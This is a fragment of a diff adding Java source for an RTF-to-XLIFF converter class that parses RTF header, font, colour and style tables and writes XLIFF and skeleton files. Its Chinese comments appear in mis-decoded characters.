getType() { + return TYPE_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getTypeName() + * @return + */ + public String getTypeName() { + return TYPE_NAME_VALUE; + } + + /** + * The Class Rtf2XliffImpl. + * @author John Zhu + * @version + * @since JDK1.6 + */ + class Rtf2XliffImpl { + + // check text hidden in tags using the XML inLocalisation sample + + /** The input. */ + private FileInputStream input; + + /** The output. */ + private FileOutputStream output; + + /** The skeleton. */ + private FileOutputStream skeleton; + + /** The content. */ + private String content; + + /** The header. */ + private String header; + + /** The groups. */ + private Vector groups; + + /** The main text. */ + private String mainText; + + /** The styles. */ + private Vector styles; + + /** The default cpg. */ + private String defaultCpg; + + /** The default font. */ + private String defaultFont; + + /** The default lang. */ + private String defaultLang; + + /** The default uc. */ + private String defaultUC; + + /** The in loch. */ + private boolean inLOCH; + + /** The in hich. */ + private boolean inHICH; + + /** The in dbch. */ + private boolean inDBCH; + + /** The src encoding. */ + private String srcEncoding; + + /** The font table. */ + Hashtable fontTable; + + /** The charsets. */ + Hashtable charsets; + + /** The fonts. */ + private Vector fonts; + + /** The status. */ + Hashtable status; + + /** The stack. */ + Stack> stack; + + /** The ignore. */ + Hashtable ignore; + + /** The skip. */ + private int skip; + + /** The default af. */ + private String defaultAF; + + /** The default status. */ + private Hashtable defaultStatus; + + /** The tw4win term. */ + private boolean tw4winTerm = false; + + /** The tw4win mark. */ + private boolean tw4winMark = false; + + /** The tw4win error. */ + private boolean tw4winError = false; + + /** The tw4win popup. */ + private boolean tw4winPopup = false; + + /** The tw4win jump. */ + private boolean tw4winJump = false; + + /** The tw4win external. */ + private boolean tw4winExternal = false; + + /** The tw4win internal. */ + private boolean tw4winInternal = false; + + /** The do_not_translate. */ + private boolean do_not_translate = false; + + /** The win external. */ + private String winExternal = ""; //$NON-NLS-1$ + + /** The win internal. */ + private String winInternal = ""; //$NON-NLS-1$ + + /** The win mark. */ + private String winMark = ""; //$NON-NLS-1$ + + /** The not_translate. */ + private String not_translate = ""; //$NON-NLS-1$ + + /** The internal value. */ + private String internalValue = ""; //$NON-NLS-1$ + + /** The external value. */ + private String externalValue = ""; //$NON-NLS-1$ + + /** The no translate value. */ + private String noTranslateValue = ""; //$NON-NLS-1$ + + /** The color list. */ + private Vector colorList; + + /** The color group. */ + private int colorGroup; + + /** The font group. */ + private int fontGroup; + + /** The style group. */ + private int styleGroup; + + /** The style fonts. */ + private Hashtable styleFonts; + + /** The source language. */ + private String sourceLanguage; + + private String targetLanguage; + + /** The tagged rtf. */ + private boolean taggedRTF; + + /** The seg by element. */ + private boolean segByElement; + + /** The seg id. */ + int segId; + + /** The breaks. */ + private Hashtable breaks; + + /** The segments. */ + private Vector segments; + + /** The start. */ + private String start; + + /** The end. */ + private String end; + + /** The meat. */ + private String meat; + + /** The in external. */ + private boolean inExternal; + + /** The segmenter. */ + private StringSegmenter segmenter; + + /** The skeleton file. */ + private String skeletonFile; + + /** The xliff file. */ + private String xliffFile; + + /** The mark style. */ + private Object markStyle; + + /** The input file. */ + private String inputFile; + + /** The symbols. */ + private Hashtable symbols; + + /** The ignorable fonts. */ + private Hashtable ignorableFonts; + + /** The default cf. */ + private String defaultCF = "1"; //$NON-NLS-1$ + + /** The cf table. */ + private Hashtable cfTable; + + /** The qt tool id. */ + private String qtToolID; + + /** The is suite. */ + private boolean isSuite; + + /** The data type. */ + private String dataType; + + /** The program foler. */ + private String programFoler; + + /** + * Run. + * @param params + * the params + * @param monitor + * the monitor + * @return the map< string, string> + * @throws ConverterException + * the converter exception + */ + public Map run(Map params, IProgressMonitor monitor) throws ConverterException { + monitor = Progress.getMonitor(monitor); + Map result = new HashMap(); + try { + // 把转æ¢è¿‡ç¨‹åˆ†ä¸º 10 部分:parseMainText 方法之å‰çš„éƒ¨åˆ†å  1, parseMainText 方法中的处ç†å  5,pase æ–¹æ³•å  2ï¼Œå‰©ä½™éƒ¨åˆ†å  2。 + monitor.beginTask("", 10); + // å†æŠŠ parseMainText 之å‰çš„任务进一步进行细分,分为 4 部分:读å–文件内容,构建文件的组内容,解æžç»„内容,处ç†ç»„内容。 + IProgressMonitor firstPartMonitor = Progress.getSubMonitor(monitor, 1); + firstPartMonitor.beginTask("", 4); + dataType = params.get(Converter.ATTR_FORMAT); + if (dataType == null) { + dataType = TYPE_VALUE; + } + inputFile = params.get(Converter.ATTR_SOURCE_FILE); + xliffFile = params.get(Converter.ATTR_XLIFF_FILE); + skeletonFile = params.get(Converter.ATTR_SKELETON_FILE); + sourceLanguage = params.get(Converter.ATTR_SOURCE_LANGUAGE); + targetLanguage = params.get(Converter.ATTR_TARGET_LANGUAGE); + srcEncoding = params.get(Converter.ATTR_SOURCE_ENCODING); + programFoler = params.get(Converter.ATTR_PROGRAM_FOLDER); + String catalogue = params.get(Converter.ATTR_CATALOGUE); + String elementSegmentation = params.get(Converter.ATTR_SEG_BY_ELEMENT); + String tagged = params.get(Converter.ATTR_IS_TAGGEDRTF); + if (tagged != null && tagged.equalsIgnoreCase(Converter.TRUE)) { + taggedRTF = true; + } else { + taggedRTF = false; + } + + if (elementSegmentation == null) { + segByElement = false; + } else { + if (elementSegmentation.equalsIgnoreCase(Converter.TRUE)) { + segByElement = true; + } else { + segByElement = false; + } + } + + isSuite = false; + if (Converter.TRUE.equals(params.get(Converter.ATTR_IS_SUITE))) { + isSuite = true; + } + qtToolID = params.get(Converter.ATTR_QT_TOOLID) != null ? params.get(Converter.ATTR_QT_TOOLID) + : Converter.QT_TOOLID_DEFAULT_VALUE; + + segId = 0; + if (!segByElement || taggedRTF) { + String initSegmenter = params.get(Converter.ATTR_SRX); + segmenter = new StringSegmenter(initSegmenter, sourceLanguage, catalogue); + } + + // read the file into a String + + // 检查是å¦å–消æ“作 + if (firstPartMonitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("rtf.cancel")); + } + firstPartMonitor.subTask(Messages.getString("rtf.Rtf2Xliff.task3")); + input = new FileInputStream(inputFile); + int size = input.available(); + byte[] array = new byte[size]; + input.read(array); + content = new String(array); + array = null; + input.close(); + + firstPartMonitor.worked(1); + + // get the header + StringBuffer buffer = new StringBuffer(); + buffer.append(content.charAt(0)); + int i = 1; + char c = 0; + while (i < size && (c = content.charAt(i++)) != '{') { + buffer.append(c); + } + header = buffer.toString(); + + stack = new Stack>(); + + processHeader(); + + // build all groups + + styles = new Vector(); + + // 检查是å¦å–消æ“作 + if (firstPartMonitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("rtf.cancel")); + } + firstPartMonitor.subTask(Messages.getString("rtf.Rtf2Xliff.task4")); + buildGroups(); + buildCharsets(); + loadSymbols(); + firstPartMonitor.worked(1); + + System.out.println("Groups built"); //$NON-NLS-1$ + + // parse individual groups + + Hashtable mainGroups = new Hashtable(); + mainText = ""; //$NON-NLS-1$ + + firstPartMonitor.subTask(Messages.getString("rtf.Rtf2Xliff.task5")); + for (i = 0; i < groups.size(); i++) { + // 检查是å¦å–消æ“作 + if (firstPartMonitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("rtf.cancel")); + } + String group = groups.get(i); + if (group.indexOf("\\stylesheet") != -1) { //$NON-NLS-1$ + buildStyleList(group); + styleGroup = i; + if (taggedRTF) { + addStyles(); + System.out.println("Styles added"); //$NON-NLS-1$ + } + parseStyles(); + if (taggedRTF) { + internalValue = getValue(winInternal); + externalValue = getValue(winExternal); + noTranslateValue = getValue(not_translate); + } + } + if (group.indexOf("\\fonttbl") != -1) { //$NON-NLS-1$ + buildFontList(group); + fontGroup = i; + } + if (group.indexOf("\\colortbl") != -1) { //$NON-NLS-1$ + buildColorList(group); + colorGroup = i; + } + + if (group.indexOf("\\fonttbl") != -1 //$NON-NLS-1$ + || group.indexOf("\\filetbl") != -1 //$NON-NLS-1$ + || group.indexOf("\\colortbl") != -1 //$NON-NLS-1$ + || group.indexOf("\\stylesheet") != -1 //$NON-NLS-1$ + || group.indexOf("\\listtable") != -1 //$NON-NLS-1$ + || group.indexOf("\\revtable") != -1 //$NON-NLS-1$ + || group.indexOf("\\rsidtable") != -1 //$NON-NLS-1$ + || group.indexOf("\\generator") != -1 //$NON-NLS-1$ + || group.indexOf("\\info") != -1 //$NON-NLS-1$ + || group.indexOf("\\colorschememapping") != -1 //$NON-NLS-1$ + || group.indexOf("\\latentstyles") != -1 //$NON-NLS-1$ + || group.indexOf("\\pgptbl") != -1 //$NON-NLS-1$ + || group.indexOf("\\operator") != -1 //$NON-NLS-1$ + || group.indexOf("\\xmlnstbl") != -1 //$NON-NLS-1$ + || group.indexOf("\\fchars") != -1 //$NON-NLS-1$ + || group.indexOf("\\lchars") != -1 //$NON-NLS-1$ + || group.indexOf("\\pgptbl") != -1 //$NON-NLS-1$ + || group.indexOf("\\listtext") != -1 //$NON-NLS-1$ + || group.indexOf("\\wgrffmtfilter") != -1 //$NON-NLS-1$ + || group.indexOf("\\themedata") != -1 //$NON-NLS-1$ + || group.indexOf("\\datastore") != -1 //$NON-NLS-1$ + || group.indexOf("\\defchp") != -1 //$NON-NLS-1$ + || group.indexOf("\\defpap") != -1 //$NON-NLS-1$ + || group.indexOf("\\defshp") != -1 //$NON-NLS-1$ + || group.indexOf("\\shp") != -1 //$NON-NLS-1$ + || group.indexOf("\\pgdsctbl") != -1) { //$NON-NLS-1$ + + // should be ignored, unless it contains text + if (group.indexOf("\\par") != -1 //$NON-NLS-1$ + || group.indexOf("\\cell") != -1 //$NON-NLS-1$ + || group.indexOf("\\row") != -1 //$NON-NLS-1$ + || group.indexOf("\\nestcell") != -1 //$NON-NLS-1$ + || group.indexOf("\\dobypara") != -1) { //$NON-NLS-1$ + mainText = mainText + group; + mainGroups.put("" + i, ""); //$NON-NLS-1$ //$NON-NLS-2$ + } + } else { + mainText = mainText + group; + mainGroups.put("" + i, ""); //$NON-NLS-1$ //$NON-NLS-2$ + } + } + firstPartMonitor.worked(1); + + System.out.println("Groups parsed"); //$NON-NLS-1$ + + fillIgnore(); + + output = new FileOutputStream(xliffFile); + skeleton = new FileOutputStream(skeletonFile); + + writeSkl(header + "\n"); //$NON-NLS-1$ + + writeHeader(); + System.out.println("Header written"); //$NON-NLS-1$ + + firstPartMonitor.subTask(Messages.getString("rtf.Rtf2Xliff.task6")); + for (int h = 0; h < groups.size() - 1; h++) { + // 是å¦å–消æ“作 + if (firstPartMonitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("rtf.cancel")); + } + + if (mainGroups.containsKey("" + h)) { //$NON-NLS-1$ + continue; + } + if (h == fontGroup) { + writeSkl("{\\fonttbl \n"); //$NON-NLS-1$ + for (int k = 0; k < fonts.size(); k++) { + writeSkl(fonts.get(k) + "\n"); //$NON-NLS-1$ + } + writeSkl("}\n\n"); //$NON-NLS-1$ + continue; + } + if (h == colorGroup) { + writeSkl("{\\colortbl;"); //$NON-NLS-1$ + for (int k = 0; k < colorList.size(); k++) { + writeSkl(colorList.get(k) + ";"); //$NON-NLS-1$ + } + writeSkl("}\n\n"); //$NON-NLS-1$ + continue; + } + if (h == styleGroup) { + writeSkl("{\\stylesheet \n"); //$NON-NLS-1$ + for (int k = 0; k < styles.size(); k++) { + writeSkl(styles.get(k) + "\n"); //$NON-NLS-1$ + } + writeSkl("}\n\n"); //$NON-NLS-1$ + continue; + } + String group = groups.get(h); + writeSkl(group); + writeSkl("\n\n"); //$NON-NLS-1$ + } + firstPartMonitor.worked(1); + firstPartMonitor.done(); + + mainText = parseMainText(Progress.getSubMonitor(monitor, 5)); + parse(mainText, Progress.getSubMonitor(monitor, 2)); + System.out.println("Processing " + segments.size() + " segments"); //$NON-NLS-1$ //$NON-NLS-2$ + checkSegments(Progress.getSubMonitor(monitor, 1)); + writeSkl("\n}\n"); //$NON-NLS-1$ + + writeStr("\n"); //$NON-NLS-1$ + writeStr("\n"); //$NON-NLS-1$ + writeStr(""); //$NON-NLS-1$ + + output.close(); + skeleton.close(); + + result.put(Converter.ATTR_XLIFF_FILE, xliffFile); + } catch (Exception e) { + if (Converter.DEBUG_MODE) { + e.printStackTrace(); + } + + if (taggedRTF) { + if (e instanceof ConverterException) { + throw (ConverterException)e; + } else { + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, Messages.getString("rtf.Rtf2Xliff.msg3"), + e); + } + } else { + if (e instanceof ConverterException) { + throw (ConverterException)e; + } else { + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, Messages.getString("rtf.Rtf2Xliff.msg4"), e); + } + } + } finally { + monitor.done(); + } + return result; + } + + /** + * Load symbols. + * @throws SAXException + * the SAX exception + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void loadSymbols() throws SAXException, IOException { + symbols = new Hashtable(); + SAXBuilder b = new SAXBuilder(); + Document d = b.build(programFoler + "ini/symbol.xml"); //$NON-NLS-1$ + Element r = d.getRootElement(); + List l = r.getChildren(); + Iterator i = l.iterator(); + while (i.hasNext()) { + Element e = i.next(); + symbols.put(new Integer(e.getAttributeValue("code")), e.getText()); //$NON-NLS-1$ + } + i = null; + l = null; + r = null; + d = null; + b = null; + } + + /** + * Parses the group. + * @param group + * the group + * @return the string + */ + private String parseGroup(String group, IProgressMonitor monitor) { + int size = group.length(); + // 如果 size 大于 10000,åˆ™æŠŠæ€»ä»»åŠ¡æ•°æŒ‰æ¯”ä¾‹ç¼©å° 100 å€ï¼›å¦‚æžœ size 大于 100000,åˆ™æŠŠæ€»ä»»åŠ¡æ•°æŒ‰æ¯”ä¾‹ç¼©å° 1000 å€ã€‚ + int scale = 1; + if (size > 100000) { + scale = 1000; + } else if (size > 10000) { + scale = 100; + } + int totalTask = size / scale; + monitor.beginTask("", totalTask); + monitor.subTask(Messages.getString("rtf.Rtf2Xliff.task7")); + Stack localStack = new Stack(); + String buff = ""; //$NON-NLS-1$ + int count = 0; + for (int i = 0; i < group.length(); i++) { + // 是å¦å–消æ“作 + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("rtf.cancel")); + } + char c = group.charAt(i); + if (c == '{') { + localStack.push(buff); + buff = ""; //$NON-NLS-1$ + } + buff = buff + c; + if (c == '}') { + String clean = cleanGroup(buff); + buff = localStack.pop(); + if (buff.matches(".*\\\\[a-zA-Z]+") && clean.matches("[a-zA-z0-9].*")) { //$NON-NLS-1$ //$NON-NLS-2$ + buff = buff + " "; //$NON-NLS-1$ + } + if (buff.matches(".*\\\\[a-zA-Z]+[0-9]+") && clean.matches("[0-9].*")) { //$NON-NLS-1$ //$NON-NLS-2$ + buff = buff + " "; //$NON-NLS-1$ + } + buff = buff + clean; + } + count++; + int temp = count / scale; + count %= scale; + if (temp > 0) { + monitor.worked(temp); + } + } + monitor.done(); + return buff; + } + + /** + * Clean group. + * @param buff + * the buff + * @return the string + */ + private String cleanGroup(String buff) { + + if (buff.indexOf("\\ltrch") != -1 && buff.indexOf("\\rtlch") != -1) { //$NON-NLS-1$ //$NON-NLS-2$ + buff = removeControl(buff, "\\ltrch"); //$NON-NLS-1$ + buff = removeControl(buff, "\\rtlch"); //$NON-NLS-1$ + } + if (buff.indexOf("\\fcs0") != -1 && buff.indexOf("\\fcs1") != -1) { //$NON-NLS-1$ //$NON-NLS-2$ + buff = removeControl(buff, "\\fcs"); //$NON-NLS-1$ + } + + if (buff.matches("\\{(\\\\*)?\\\\.*\\}")) { //$NON-NLS-1$ + // contains text and controls + // braces should be preserved + return buff; + } + if (buff.matches("\\{.*\\}")) { //$NON-NLS-1$ + // contains text without control words + // braces should be removed + return buff.substring(1, buff.length() - 1); + } + return buff; + } + + /** + * Removes the control. + * @param string + * the string + * @param ctrl + * the ctrl + * @return the string + */ + private String removeControl(String string, String ctrl) { + int index = string.indexOf(ctrl); + while (index != -1) { + String left = string.substring(0, index); + if (left.endsWith("\\*")) { //$NON-NLS-1$ + left = left.substring(0, left.length() - 2); + } + String right = string.substring(index + ctrl.length()); + if (right.matches("^[0-9]+\\s[a-zA-Z0-9\\s].*")) { //$NON-NLS-1$ + right = right.replaceAll("^[0-9]+\\s", ""); //$NON-NLS-1$ //$NON-NLS-2$ + } else { + right = right.replaceAll("^[0-9]+", ""); //$NON-NLS-1$ //$NON-NLS-2$ + } + if (left.matches(".*\\\\[a-zA-Z]+") && right.matches("^[a-zA-Z0-9\\s].*")) { //$NON-NLS-1$ //$NON-NLS-2$ + right = " " + right; //$NON-NLS-1$ + } else if (left.matches(".*\\\\[a-zA-Z]+[0-9]+") && right.matches("[0-9\\s].*")) { //$NON-NLS-1$ //$NON-NLS-2$ + right = " " + right; //$NON-NLS-1$ + } + string = left + right; + index = string.indexOf(ctrl); + } + return string; + } + + /** + * Parses the styles. + * @throws ConverterException + */ + private void parseStyles() throws ConverterException { + styleFonts = new Hashtable(); + cfTable = new Hashtable(); + for (int i = 0; i < styles.size(); i++) { + String style = styles.get(i); + StringTokenizer tk = new StringTokenizer(style, "\\{} \t", true); //$NON-NLS-1$ + String control = ""; //$NON-NLS-1$ + String value = ""; //$NON-NLS-1$ + while (tk.hasMoreElements()) { + String token = tk.nextToken(); + if (token.length() == 1) { + continue; + } + String ctl = getControl("\\" + token); //$NON-NLS-1$ + if (ctl.equals("s") || // paragraph style //$NON-NLS-1$ + ctl.equals("cs") || // character style //$NON-NLS-1$ + ctl.equals("ts") || // table style //$NON-NLS-1$ + ctl.equals("ds")) { // section style //$NON-NLS-1$ + + control = getValue("\\" + token); //$NON-NLS-1$ + } + if (ctl.equals("f")) { //$NON-NLS-1$ + value = getValue("\\" + token); //$NON-NLS-1$ + } + } + if (!control.equals("") && !value.equals("")) { //$NON-NLS-1$ //$NON-NLS-2$ + if (fontTable.containsKey(value)) { + styleFonts.put(control, value); + } else { + MessageFormat mf = new MessageFormat(taggedRTF ? Messages.getString("rtf.Rtf2Xliff.msg5") : Messages.getString("rtf.Rtf2Xliff.msg1")); //$NON-NLS-1$ + Object[] args = { value }; + String msg = mf.format(args); + System.err.println(msg); + args = null; + fontTable.put(control, "0"); //$NON-NLS-1$ +// throw new ConverterException(new Status(IStatus.ERROR, Activator.PLUGIN_ID, msg)); + } + } + cfTable.put(getStyle(style), getValue("cf", style)); //$NON-NLS-1$ + } + } + + /** + * Builds the charsets. + * @throws SAXException + * the SAX exception + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void buildCharsets() throws SAXException, IOException { + SAXBuilder builder = new SAXBuilder(); + Document doc = builder.build(programFoler + "ini/rtf_encodings.xml"); //$NON-NLS-1$ + charsets = new Hashtable(); + Element root = doc.getRootElement(); + List list = root.getChildren("encoding"); //$NON-NLS-1$ + Iterator it = list.iterator(); + while (it.hasNext()) { + Element e = it.next(); + charsets.put(e.getAttributeValue("codePage"), getEncoding(e.getText().trim())); //$NON-NLS-1$ + } + } + + /** + * Builds the font list. + * @param group + * the group + * @throws Exception + * the exception + */ + private void buildFontList(String group) throws Exception { + int upr = group.indexOf("\\upr"); //$NON-NLS-1$ + int ud = group.indexOf("\\ud"); //$NON-NLS-1$ + if (upr != -1 && ud != -1) { + group = group.substring(upr + 4, ud); + group = group.substring(0, group.lastIndexOf("}")); //$NON-NLS-1$ + } + fontTable = new Hashtable(); + ignorableFonts = new Hashtable(); + fonts = new Vector(); + int level = 0; + int i = group.indexOf("{", group.indexOf("\\fonttbl")); //$NON-NLS-1$ //$NON-NLS-2$ + StringBuffer buffer = new StringBuffer(); + while (i < group.length()) { + char c = group.charAt(i++); + if (c == '\r' || c == '\n') { + continue; + } + buffer.append(c); + if (c == '{') { + level++; + } + if (c == '}') { + level--; + } + if (level == 0) { + String font = buffer.toString().trim(); + if (!font.trim().equals("")) { //$NON-NLS-1$ + font = parseFont(font); + } + fonts.add(font); + buffer = null; + buffer = new StringBuffer(); + } + } + } + + /** + * Parses the font. + * @param font + * the font + * @return the string + */ + private String parseFont(String font) { + StringTokenizer tk = new StringTokenizer(font, "\\{} \t", true); //$NON-NLS-1$ + String control = ""; //$NON-NLS-1$ + String value = ""; //$NON-NLS-1$ + while (tk.hasMoreElements()) { + String token = tk.nextToken(); + if (token.length() == 1) { + continue; + } + if (getControl("\\" + token).equals("f")) { //$NON-NLS-1$ //$NON-NLS-2$ + control = getValue("\\" + token); //$NON-NLS-1$ + } + if (getControl("\\" + token).equals("fcharset")) { //$NON-NLS-1$ //$NON-NLS-2$ + value = getValue("\\" + token); //$NON-NLS-1$ + } + } + if (!control.equals("") && !value.equals("")) { //$NON-NLS-1$ //$NON-NLS-2$ + if (value.equals("2")) { //$NON-NLS-1$ + if (font.indexOf("Symbol") != -1) { //$NON-NLS-1$ + ignorableFonts.put(control, ""); //$NON-NLS-1$ + } else { + font = font.replace("fcharset2", "fcharset0"); //$NON-NLS-1$ //$NON-NLS-2$ + } + } + if (charsets.containsKey(value)) { + fontTable.put(control, value); + } else { + MessageFormat mf = new MessageFormat(Messages.getString("rtf.Rtf2Xliff.msg2")); //$NON-NLS-1$ + Object[] args = { value }; + System.err.println(mf.format(args)); + args = null; + fontTable.put(control, "0"); //$NON-NLS-1$ + } + } + return font; + } + + /** + * Process header. + */ + private void processHeader() { + defaultUC = "0"; //$NON-NLS-1$ + defaultFont = ""; //$NON-NLS-1$ + defaultLang = ""; //$NON-NLS-1$ + defaultCpg = "1252"; //$NON-NLS-1$ + defaultAF = ""; //$NON-NLS-1$ + + StringTokenizer tk = new StringTokenizer(header, "\\", true); //$NON-NLS-1$ + while (tk.hasMoreTokens()) { + String token = tk.nextToken(); + if (token.equals("\\")) { //$NON-NLS-1$ + token = token + tk.nextToken(); + } + String ctrlString = getControl(token); + if (ctrlString.equals("ansicpg")) { //$NON-NLS-1$ + defaultCpg = getValue(token); + + // fixed a bug 921 by john. + String tmpEncoding = getEncoding(defaultCpg); + if (tmpEncoding != null) { + srcEncoding = tmpEncoding; + } + } + if (ctrlString.equals("deff")) { //$NON-NLS-1$ + defaultFont = getValue(token); + } + if (ctrlString.equals("deflang")) { //$NON-NLS-1$ + defaultLang = getValue(token); + } + if (ctrlString.equals("adeff")) { //$NON-NLS-1$ + System.out.println("Default afont: " + getValue(token)); //$NON-NLS-1$ + } + if (ctrlString.equals("uc")) { //$NON-NLS-1$ + defaultUC = getValue(token); + } + } + status = new Hashtable(); + status.put("defaultUC", defaultUC); //$NON-NLS-1$ + status.put("defaultFont", defaultFont); //$NON-NLS-1$ + status.put("defaultLang", defaultLang); //$NON-NLS-1$ + status.put("srcEncoding", srcEncoding); //$NON-NLS-1$ + status.put("defaultCpg", defaultCpg); //$NON-NLS-1$ + status.put("defaultCF", defaultCF); //$NON-NLS-1$ + status.put("defaultAF", defaultAF); //$NON-NLS-1$ + status.put("inLOCH", new Boolean(inLOCH)); //$NON-NLS-1$ + status.put("inHICH", new Boolean(inHICH)); //$NON-NLS-1$ + status.put("inDBCH", new Boolean(inDBCH)); //$NON-NLS-1$ + + stack.push(status); + defaultStatus = status; + } + + /** + * Gets the encoding. + * @param encoding + * the encoding + * @return the encoding + */ + private String getEncoding(String encoding) { + String[] codes = TextUtil.getPageCodes(); + for (int h = 0; h < codes.length; h++) { + if (codes[h].toLowerCase().indexOf("windows-" + encoding) != -1) { //$NON-NLS-1$ + return codes[h]; + } + } + if (encoding.equals("10000")) { //$NON-NLS-1$ + for (int h = 0; h < codes.length; h++) { + if (codes[h].toLowerCase().indexOf("macroman") != -1) { //$NON-NLS-1$ + return codes[h]; + } + } + } + if (encoding.equals("10001")) { //$NON-NLS-1$ + for (int h = 0; h < codes.length; h++) { + if (codes[h].toLowerCase().indexOf("shift_jis") != -1) { //$NON-NLS-1$ + return codes[h]; + } + } + } + if (encoding.equals("10006")) { //$NON-NLS-1$ + for (int h = 0; h < codes.length; h++) { + if (codes[h].toLowerCase().indexOf("macgreek") != -1) { //$NON-NLS-1$ + return codes[h]; + } + } + } + if (encoding.equals("10007")) { //$NON-NLS-1$ + for (int h = 0; h < codes.length; h++) { + if (codes[h].toLowerCase().indexOf("maccyrillic") != -1) { //$NON-NLS-1$ + return codes[h]; + } + } + } + if (encoding.equals("10029")) { //$NON-NLS-1$ + for (int h = 0; h < codes.length; h++) { + if (codes[h].toLowerCase().indexOf("maccentraleurope") != -1) { //$NON-NLS-1$ + return codes[h]; + } + } + } + if (encoding.equals("10079")) { //$NON-NLS-1$ + for (int h = 0; h < codes.length; h++) { + if (codes[h].toLowerCase().indexOf("maciceland") != -1) { //$NON-NLS-1$ + return codes[h]; + } + } + } + if (encoding.equals("10081")) { //$NON-NLS-1$ + for (int h = 0; h < codes.length; h++) { + if (codes[h].toLowerCase().indexOf("macturkish") != -1) { //$NON-NLS-1$ + return codes[h]; + } + } + } + if (encoding.equals("65000")) { //$NON-NLS-1$ + for (int h = 0; h < codes.length; h++) { + if (codes[h].toLowerCase().indexOf("utf-7") != -1) { //$NON-NLS-1$ + return codes[h]; + } + } + } + if (encoding.equals("650001")) { //$NON-NLS-1$ + for (int h = 0; h < codes.length; h++) { + if (codes[h].toLowerCase().indexOf("utf-8") != -1) { //$NON-NLS-1$ + return codes[h]; + } + } + } + if (encoding.equals("932")) { //$NON-NLS-1$ + for (int h = 0; h < codes.length; h++) { + if (codes[h].toLowerCase().indexOf("shift_jis") != -1) { //$NON-NLS-1$ + return codes[h]; + } + } + } + if (encoding.equals("936")) { //$NON-NLS-1$ + for (int h = 0; h < codes.length; h++) { + if (codes[h].toLowerCase().indexOf("gb2312") != -1) { //$NON-NLS-1$ + return codes[h]; + } + } + } + if (encoding.equals("949")) { //$NON-NLS-1$ + for (int h = 0; h < codes.length; h++) { + if (codes[h].toLowerCase().indexOf("euc-kr") != -1) { //$NON-NLS-1$ + return codes[h]; + } + } + } + if (encoding.equals("950")) { //$NON-NLS-1$ + for (int h = 0; h < codes.length; h++) { + if (codes[h].toLowerCase().indexOf("big5") != -1) { //$NON-NLS-1$ + return codes[h]; + } + } + } + if (encoding.equals("1361")) { //$NON-NLS-1$ + for (int h = 0; h < codes.length; h++) { + if (codes[h].toLowerCase().indexOf("johab") != -1) { //$NON-NLS-1$ + return codes[h]; + } + } + } + if (encoding.equalsIgnoreCase("Symbol")) { //$NON-NLS-1$ + return "Symbol"; //$NON-NLS-1$ + } + if (defaultStatus != null) { + return (String) defaultStatus.get("srcEncoding"); //$NON-NLS-1$ + } + return null; + } + + /** + * Parses the main text. + * @return the string + * @throws Exception + * the exception + */ + private String parseMainText(IProgressMonitor monitor) throws Exception { + // 此处把任务分为 10 个部分:第一个 while å¾ªçŽ¯å  1,æ¯äºŒä¸ª for å¾ªçŽ¯å  1,最åŽçš„ paseGroup æ–¹æ³•å  8。 + monitor.beginTask("", 10); + System.out.println("Replacing braces..."); //$NON-NLS-1$ + + mainText = replaceToken(mainText, "\\{", "\uE008"); //$NON-NLS-1$ //$NON-NLS-2$ + mainText = replaceToken(mainText, "\\}", "\uE007"); //$NON-NLS-1$ //$NON-NLS-2$ + mainText = replaceToken(mainText, "\\\\", "\uE011"); //$NON-NLS-1$ //$NON-NLS-2$ + + System.out.println("Braces replaced"); //$NON-NLS-1$ + + StringTokenizer tk = new StringTokenizer(mainText, "{}\\", true); //$NON-NLS-1$ + + System.out.println("Processing " + tk.countTokens() + " tokens"); //$NON-NLS-1$ //$NON-NLS-2$ + + // 对æ¯ä¸€éƒ¨åˆ†çš„内容å†è¿›è¡Œç»†åˆ† + int tokenSize = tk.countTokens(); + IProgressMonitor subMonitor1 = Progress.getSubMonitor(monitor, 1); + subMonitor1.beginTask("", tokenSize); + subMonitor1.subTask(Messages.getString("rtf.Rtf2Xliff.task8")); + Vector v = new Vector(); + while (tk.hasMoreElements()) { + // 是å¦å–消æ“作 + if (subMonitor1.isCanceled()) { + throw new OperationCanceledException(Messages.getString("rtf.cancel")); + } + + String token = tk.nextToken(); + if (token.equals("\\")) { //$NON-NLS-1$ + token = token + tk.nextToken(); + } + if (token.equals("\\*")) { //$NON-NLS-1$ + token = token + tk.nextToken() + tk.nextToken(); + } + if (token.startsWith("\\'")) { //$NON-NLS-1$ + if (token.length() == 4) { + v.add(token); + } else { + v.add(token.substring(0, 4)); + v.add(token.substring(4)); + } + } else if (token.startsWith("\\")) { //$NON-NLS-1$ + String ctl = getControl(token); + String value = getValue(token); + String s = token.substring(0, token.indexOf(ctl)) + ctl + value; + v.add(s); + String remainder = token.substring(s.length()); + if (remainder.startsWith(" ")) { //$NON-NLS-1$ + if (!remainder.matches("^\\s[a-zA-Z0-9\\s].*")) { //$NON-NLS-1$ + remainder = remainder.substring(1); + } else if (s.matches(".*[0-9]")) { //$NON-NLS-1$ + remainder = remainder.substring(1); + } + } + if (!remainder.equals("")) { //$NON-NLS-1$ + v.add(remainder); + } + } else { + v.add(token); + } + subMonitor1.worked(1); + } + subMonitor1.done(); + + String result = ""; //$NON-NLS-1$ + int level = 0; + System.out.println("Processing " + v.size() + " frag..."); + + // 对第二部分的åŒæ ·è¿›è¡Œç»†åˆ† + IProgressMonitor subMonitor2 = Progress.getSubMonitor(monitor, 1); + subMonitor2.beginTask("", v.size()); + subMonitor2.subTask(Messages.getString("rtf.Rtf2Xliff.task9")); + + for (int i = 0; i < v.size(); i++) { + // 是å¦å–消æ“作 + if (subMonitor2.isCanceled()) { + throw new OperationCanceledException(Messages.getString("rtf.cancel")); + } + + String frag = v.get(i); + frag = replaceToken(frag, "\\emdash ", "" + '\u2014'); //$NON-NLS-1$ //$NON-NLS-2$ + frag = replaceToken(frag, "\\endash ", "" + '\u2013'); //$NON-NLS-1$ //$NON-NLS-2$ + frag = replaceToken(frag, "\\lquote ", "" + '\u2018'); //$NON-NLS-1$ //$NON-NLS-2$ + frag = replaceToken(frag, "\\rquote ", "" + '\u2019'); //$NON-NLS-1$ //$NON-NLS-2$ + frag = replaceToken(frag, "\\ldblquote ", "" + '\u201C'); //$NON-NLS-1$ 